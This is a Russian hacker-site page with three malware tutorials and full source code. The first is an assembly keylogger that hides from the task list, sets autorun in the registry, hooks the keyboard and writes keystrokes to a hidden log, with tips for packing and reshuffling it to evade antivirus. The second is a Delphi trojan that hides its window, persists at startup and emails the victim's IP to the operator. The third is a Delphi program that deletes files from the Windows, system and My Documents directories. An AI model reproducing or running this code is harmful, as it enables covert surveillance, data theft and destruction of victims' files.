AutoRegValue1 db "ks000.exe" ,0
RegValue db "ks000.dll" ,0
RegValue1 db "ks000log.txt" ,0
Flash db "\",0
AppName db "systemks",0
ClassName db "DksClass",0
IconName db "TksIcon",0
funcKEY db "DksKeyProc",0

.DATA?
hInstance dd ?
CommandLine dd ?
pKey dd ?
dll0 dd ?
dll1 dd ?
cmd dd ?
Hook1 dd ?
DW_SIZE EQU 4
DWordSize dd ?
Temp dd ?
WinDir db 900 dup(?)
CommandStr1 db 1024 dup(?)
CommandStr2 db 1024 dup(?)
CommandStr3 db 1024 dup(?)
; Раздел кода
.CODE
start:
; Если прога уже запущена - выход
invoke FindWindow,0,addr AppName
cmp eax,0
jnz quit
mov dll0,0
mov Hook1,0
; Скрываем по Alt+Ctrl+Del
invoke GetModuleHandle, ADDR kernel32
or eax,eax
jz continue
invoke GetProcAddress, eax, ADDR func
or eax, eax
jz continue
push 1
push 0
call eax
continue:
; Объявляем пути к файлам проги
invoke GetSystemDirectory , addr WinDir, sizeof WinDir
invoke lstrcat,addr WinDir,addr Flash
invoke lstrcpy, addr CommandStr2, addr WinDir
;файл для записи - "\ks000log.txt"
invoke lstrcat, addr CommandStr2, addr RegValue1
invoke lstrcpy, addr CommandStr3, addr WinDir
; дополнительная DLL - "\ks000.dll"
invoke lstrcat, addr CommandStr3, addr RegValue
; Автозапуск пишем в реестр
invoke RegCreateKey, HKEY_LOCAL_MACHINE,addr AutoKeyName, addr pKey
.IF eax == 0
invoke RegSetValueEx, pKey, addr AutoRegValue, NULL, REG_SZ, addr AutoRegValue1, sizeof AutoRegValue1
.IF (eax != 0)
; Если неудача - сообщаем в log-файл
invoke _lopen, addr CommandStr2, OF_WRITE
mov cmd,eax
.IF eax == 4294967295
invoke _lcreat, addr CommandStr2, 4
mov cmd,eax
.ELSE
invoke _llseek, cmd, 0, FILE_END
.ENDIF
.IF cmd != 4294967295
invoke _lwrite, cmd, addr ErrorStr1, sizeof ErrorStr1
invoke _lclose, cmd
.ENDIF
.ENDIF
.ELSE
; Если неудача - сообщаем в log-файл
invoke _lopen, addr CommandStr2, OF_WRITE
mov cmd,eax
.IF eax == 4294967295
invoke _lcreat, addr CommandStr2, 4
mov cmd,eax
.ELSE
invoke _llseek, cmd, 0, FILE_END
.ENDIF
.IF cmd != 4294967295
invoke _lwrite, cmd, addr ErrorStr1, sizeof ErrorStr1
invoke _lclose, cmd
.ENDIF
.ENDIF
invoke RegCloseKey, pKey
; Копируем программу в "\ks000.exe"
invoke lstrcat,addr WinDir,addr AutoRegValue1
invoke GetModuleFileName,NULL,addr CommandStr1,sizeof CommandStr1
invoke CopyFile,addr CommandStr1,addr WinDir,FALSE
; Создаем дополнительную DLL в "\ks000.dll"
invoke _lcreat, addr CommandStr3, 0
mov cmd,eax
.IF cmd != 4294967295
invoke _lwrite, cmd, addr DLLstr0, 25
invoke _lwrite, cmd, addr DLLstr1, 25
invoke _lwrite, cmd, addr DLLstr2, 25
invoke _lwrite, cmd, addr DLLstr3, 25
invoke _lwrite, cmd, addr DLLstr4, 25
invoke _lwrite, cmd, addr DLLstr5, 25

; SKIP
; Здесь находится код записи остальных строк-констант в нашу DLL
; SKIP

invoke _lwrite, cmd, addr DLLstr345, 25
invoke _lwrite, cmd, addr DLLstr346, 25
invoke _lwrite, cmd, addr DLLstr347, 25
invoke _lwrite, cmd, addr DLLstr348, 4
invoke _lclose, cmd
.ENDIF
; Инициализация
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
quit: invoke ExitProcess,eax
;----
WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
; Локальные переменные
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
LOCAL Ver: OSVERSIONINFO
; Создаем окно программы
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInstance
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,hInstance,addr IconName
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
INVOKE CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,WS_OVERLAPPEDWINDOW,500,400,100,50,NULL,NULL,hInst,NULL
mov hwnd,eax
; Для отладки окно можно показать
;invoke ShowWindow, hwnd,SW_SHOWNORMAL
;invoke UpdateWindow, hwnd
; Обработка сообщений
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp
; ----
; Обработка сообщений
WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
; Если окно создается
.IF uMsg == WM_CREATE
; Грузим дополнительную DLL
invoke LoadLibrary, addr RegValue
mov dll0,eax
.IF (dll0 ==0)
; Если неудача - сообщаем в log-файл
invoke _lopen, addr CommandStr2, OF_WRITE
mov cmd,eax
.IF eax == 4294967295
invoke _lcreat, addr CommandStr2, 4
mov cmd,eax
.ELSE
invoke _llseek, cmd, 0, FILE_END
.ENDIF
.IF cmd != 4294967295
invoke _lwrite, cmd, addr ErrorStr, sizeof ErrorStr
invoke _lclose, cmd
.ENDIF
; Выход
invoke PostQuitMessage,NULL
xor eax,eax
ret
.ELSE
; Получаем адрес процедуры обработки
invoke GetProcAddress, dll0, addr funcKEY
mov dll1,eax
.IF (dll1 ==0)
; Если неудача - сообщаем в log-файл
invoke _lopen, addr CommandStr2, OF_WRITE
mov cmd,eax
.IF eax == 4294967295
invoke _lcreat, addr CommandStr2, 4
mov cmd,eax
.ELSE
invoke _llseek, cmd, 0, FILE_END
.ENDIF
.IF cmd != 4294967295
invoke _lwrite, cmd, addr ErrorStr, sizeof ErrorStr
invoke _lclose, cmd
.ENDIF
; Выход
invoke PostQuitMessage,NULL
xor eax,eax
ret
.ELSE
; Устанавливаем hook
invoke SetWindowsHookEx, WH_KEYBOARD, dll1, dll0, 0
mov Hook1, eax
.IF (Hook1 == 0)
; Если неудача - сообщаем в log-файл
invoke _lopen, addr CommandStr2, OF_WRITE
mov cmd,eax
.IF eax == 4294967295
invoke _lcreat, addr CommandStr2, 4
mov cmd,eax
.ELSE
invoke _llseek, cmd, 0, FILE_END
.ENDIF
.IF cmd != 4294967295
invoke _lwrite, cmd, addr ErrorStr, sizeof ErrorStr
invoke _lclose, cmd
.ENDIF
; Выход
invoke PostQuitMessage,NULL
xor eax,eax
ret
.ENDIF
.ENDIF
.ENDIF
; Если выход из проги - убираем hook
.ELSEIF uMsg == WM_DESTROY
invoke FreeLibrary, dll0
invoke UnhookWindowsHookEx, Hook1
invoke PostQuitMessage,NULL
xor eax,eax
ret
.ELSEIF
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
;----
END start


После компиляции exe-файл можно сжать ASpack-ом. Пару слов о том как это все работает. При запуске программы она
записывает в реестр параметр "systemks" со значением "ks000.exe" в ключе
"HKLM/SoftWare/Microsoft/Windows/Current Version/Run" - для старта вместе с m$ window$. ВНИМАНИЕ! Если система -
 WinNT, и пользователь - не администратор, то облом. Потом переписывает себя в каталог , создает из
строк-констант дополнительную DLL "ks000.dll" (в процессе отладки необходимо проверить тождественность 2 файлов),
подгружает ее и вызывает SetWindowsHookEx. При работе программы происходит разбитие буфера накопления информации о
нажатых клавишах на строки, длиной около 100 символов, и сброс в файл "\ks000log.txt" по достижении
размера буфера 1000 символов или выгрузки DLL (атрибут файла - системный, из проводника не виден).

В приведенной выше программе есть недостатки: она не понимает разницу большие/маленькие буквы (хотя является многоязычной)
и не отслеживает повторения ("Shift", "Alt", "Ctrl" и т.п.). Все это можно дописать в процедуре обработки.
На сях или delphi это делается элементарно.
Теперь об антивирах. Пока данная конструкция известными мне антивирусными пакетами не определяется. Но при
возникновении проблем такого рода, выход достаточно прост - перетасовать исходники, сжать каким-нибудь XXpack-ом и т.д. и т.п.

P.S. Статья и программа предоставлена в целях обучения и вся ответственность за использование ложится на
твои хилые плечи.

К заголовку




" Пишем мыльный троян
Сегодня мы рассмотрим как сделать простого мыльного трояна на Delphi. Для создания трояна будем пользоваться
стандартными компонентами Delphi. Версия Delphi 3 и выше. Для начала создай новый проект. Дальше нажми два
раза крысой по форме и пиши:
begin
CurPath := ExtractFilePath(ParamStr(0)); // определяем текущий каталог
GetWindowsDirectory(WinPath,255); // определяем где находится винда
If (WinPath<>CurPath) then //если не в каталоге с виндой, то:
begin
CopyFile(@(ParamStr(0))[1],@(WinPath+'\WinWXD.exe')[1],false); // копируем себя в каталог винды
begin
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
RegIni.WriteString('RunServices', 'WinVXD.exe', 'WinVXD.exe');
RegIni.Free; // прописались в реестр
end;
end;
end;
Теперь допиши в uses слово Registry(в самом верху).Теперь добавь переменные после var Form1: TForm1; (чуть ниже):
WinPath : array [0..255] of char;
CurPath : String;
RegIni : TRegIniFile;
У тебя должно получится:
var
Form1: TForm1;
WinPath : array [0..255] of char;
CurPath : String;
RegIni:TRegIniFile;
Теперь кидаем на форму компонент Timer(закладка System) и NMSmtp(закладка FastNet), ставим у таймера интервал 3
минуты(180000). Кликаем по таймеру и пишем:
NmSMTP1.host:='smtp.mail.ru'; //лучше используй другой сервер
NmSMTP1.Connect; // подключаемся к smtp серверу
if NMSMTP1.Connected then //если подключились
begin
NMSMTP1.PostMessage.FromAddress :='From BILL GATES :)'; // От куда письмо
NMSMTP1.PostMessage.FromName := 'First Trojan'; //От кого письмо
NMSMTP1.PostMessage.ToAddress.Text := 'your@e.mail'; //Кому шлём письмо
NMSMTP1.PostMessage.Body.Text := 'Ip: '+NMSMTP1.LocalIP; // посылаем IP.
NMSMTP1.PostMessage.Subject := 'First Trojan'; //Тема
NMSMTP1.SendMail; // посылаем письмо
end;
Теперь надо сделать так, чтобы юзер при запуске программы не видел главного окна. Выбери в меню: project>>>View
source и ты увидишь:
program Project1;
uses
Forms,
Unit1 in 'Unit1.pas' {Form1};
{$R *.RES}
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
end.
Теперь допиши после "Application.CreateForm(TForm1, Form1);" строчку "Application.ShowMainForm:=false;". У тебя
 должно получиться:
program Project1;

uses
Forms,
Unit1 in 'Unit1.pas' {Form1};

{$R *.RES}

begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.ShowMainForm:=false;
Application.Run;
end.
Вот и весь троян! Надеюсь теперь ты понял как можно сделать простого мыльного трояна на Delphi. А вот весь листинг программы:
unit Unit1;
interface
uses
Windows, Messages, SysUtils,registry, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, Psock, NMsmtp;
type
TForm1 = class(TForm)
NMSMTP1: TNMSMTP;
Timer1: TTimer;
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
public
end;
var
Form1: TForm1;
WinPath : array [0..255] of char;
CurPath : String;
RegIni:TRegIniFile;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
CurPath := ExtractFilePath(ParamStr(0));
GetWindowsDirectory(WinPath,255);
If (WinPath<> CurPath) then
begin
CopyFile(@(ParamStr(0))[1],@(WinPath+'\WinWXD.exe')[1],false);
begin
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
RegIni.WriteString('RunServices', 'WinVXD.exe', 'WinVXD.exe');
RegIni.Free; // прописались в реестр
end;
end;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
NmSMTP1.host:='smtp.mail.ru';
NmSMTP1.Connect;
if NMSMTP1.Connected then
begin
NMSMTP1.PostMessage.FromAddress :='From BILL GATES :)';
NMSMTP1.PostMessage.FromName := 'First Trojan';
NMSMTP1.PostMessage.ToAddress.Text := 'your@e.mail';
NMSMTP1.PostMessage.Body.Text := 'Ip: '+NMSMTP1.LocalIP;
NMSMTP1.PostMessage.Subject := 'First Trojan';
NMSMTP1.SendMail;
end;
end;
end.
program Project1;

uses
Forms,
Unit1 in 'Unit1.pas' {Form1};

{$R *.RES}

begin

Application.Initialize;

Application.CreateForm(TForm1, Form1);
Application.ShowMainForm:=false;
Application.Run;
end.

К заголовку




" Мастдай-киллер на Делфи
Системные требования:
Win9x или NT, Delphi 5, умение программировать методом Copy-Paste :).

Сегодня мы напишем простенькую программку на Делфи, убивающую операционную систему Windows (a.k.a. Must Die).
Даже не просто убивающую, а удаляющую все файлы, лежащие в корне того диска, где стоит OC, папке "Мои Документы",
директории Windows, системной директории Windows, папке \System32. Например если ты установил Мастдай в C:\Windows,
то при запуске проги будут удалены все файлы (но не папки) из: C:\; C:\Windows, C:\Мои Документы, C:\Windows\System,
C:\Windows\System32.
Итак, приступим к делу. Project -> View Source. Здесь удаляем все лишнее, чтобы в результате получилось следующее:

program MDkiller;
uses
Windows, Sysutils;
begin
end.
Теперь Делфя готова к работе. :))
Дополним это еще несколькими строками:
program MDkiller;
uses
Windows, Sysutils;
var { обьявление переменных}
S: Tsearchrec;
a1,a2,a3,a4,a5: string;
F: File;
p,p1: pchar;
begin
GetWindowsDirectory(p, max_path); {определяем директорию, где установлена Windows}
a1:= strpas(p) + '\'; {переводим возвращенный параметр из типа PChar в строковый тип и дополняем путь к
директории Windows символом '\'}
a2:= a1[1]+ ':\'; {определяем диск, на котором установлена ОС}
a3:= a2 + 'Мои Документы\'; {определяем папку "Мои Документы"}
getsystemdirectory(p1,max_path); {определяем cистемную директорию}
a4:= strpas(p1) ; {переводим возвращенный параметр из типа PChar в строковый тип } a5:= a4 + '32\'; {определям \System32}
a6:= a4 + '\'; {дополняем путь к системной директории символом '\'}
end.

Разберемся, что мы сделали :)
Переменные S: Tsearchrec и F: File необходимы для последующей процедуры поиска файлов в заданных директориях.
Остальные переменные типа string и pchar нужны для определения необходимых параметров и перевода их в понятный
фугкциям FindFirst и FindNext язык. Для определения системной директории и директории Windows мы использовали
функции WinAPI
GetWindowsDirectory и GetSystemDirectory. Пути к нужным директориям определены, осталось удалить из них файлы. :)

Для поиска и удаления воспользуемся функциями FindFirst и FindNext.
if FindFirst(a1 + '*.*',faanyfile,S) <> 0 then FindClose(S) else { если функция FindFirst
возвращает значение не ноль - завершить поиск, если ноль тогда продолжить}
repeat {продолжать} deletefile(a1 + S.name); {удаление найденного файла}
until {пока}
Findnext(S) <> 0; {не возвращено значение ноль}
FindClose(S);{тогда закончить поиск}
if FindFirst(a2 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a2 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a3 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a3 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a4 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a4 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a5 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a5 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
end.

Вот и все. Я откомментировал удаление файлов только из директории Windows, т.к. в других случаях происходит
 почти то же самое - поиск и удаление файлов до тех пор, пока не будет возвращено значение не ноль ( <>0),
т.е. файлов в указанной директории больше нет. Замечу, что удаление файлов из папок, находящихся в заданных
директориях, производиться не будет, т.к. это требует усложнения алгоритма поиска.Я написал прогу с
использованием WinAPI и Sysutils, так ее размер составил 42КВ, а зажатая ASPack'ом она стала весить всего 26КВ.
Еслине использовать Sysutils, а описать поиск файлов, используя FindFirstFile и FinfNextFile из WinAPI
можно получить размер екзешника - 17 KB, сжатый ASPack'ом - 15KB!

ЗЫ: Я тестировал прогу на Windows 2000 Pro SP1. При работе под Win9x возможны ошибки, требующие небольшого
изменения кода. Например на Win 98 SE при определении директории, в которую установлен Мастдай, прога выдает
сообщение о ошибке и не работает. :( Но если перед GetWindowsDirectory() и GetSystemDirectory() написать p:='' и p1:=''
соответственно, то все
запашет без проблем.

Полный листинг проги:
program MDkiller;
uses
Windows, Sysutils;
var
S: Tsearchrec;
a1,a2,a3,a4,a5,a6: string;
F: File;
p,p1: pchar;
begin
GetWindowsDirectory(p, max_path);
a1:= strpas(p) + '\';
a2:= a1[1]+ ':\';
a3:= a2 + 'Мои Документы\';
GetSystemDirectory(p1,max_path);
a4:= strpas(p1) ;
a5:= a4 + '32\';
a6:= a4 + '\';
if FindFirst(a1 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a1 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a2 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a2 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a3 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a3 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a4 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a4 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a5 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a5 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
end.

К заголовку




"


Сайт управляется системой uCoz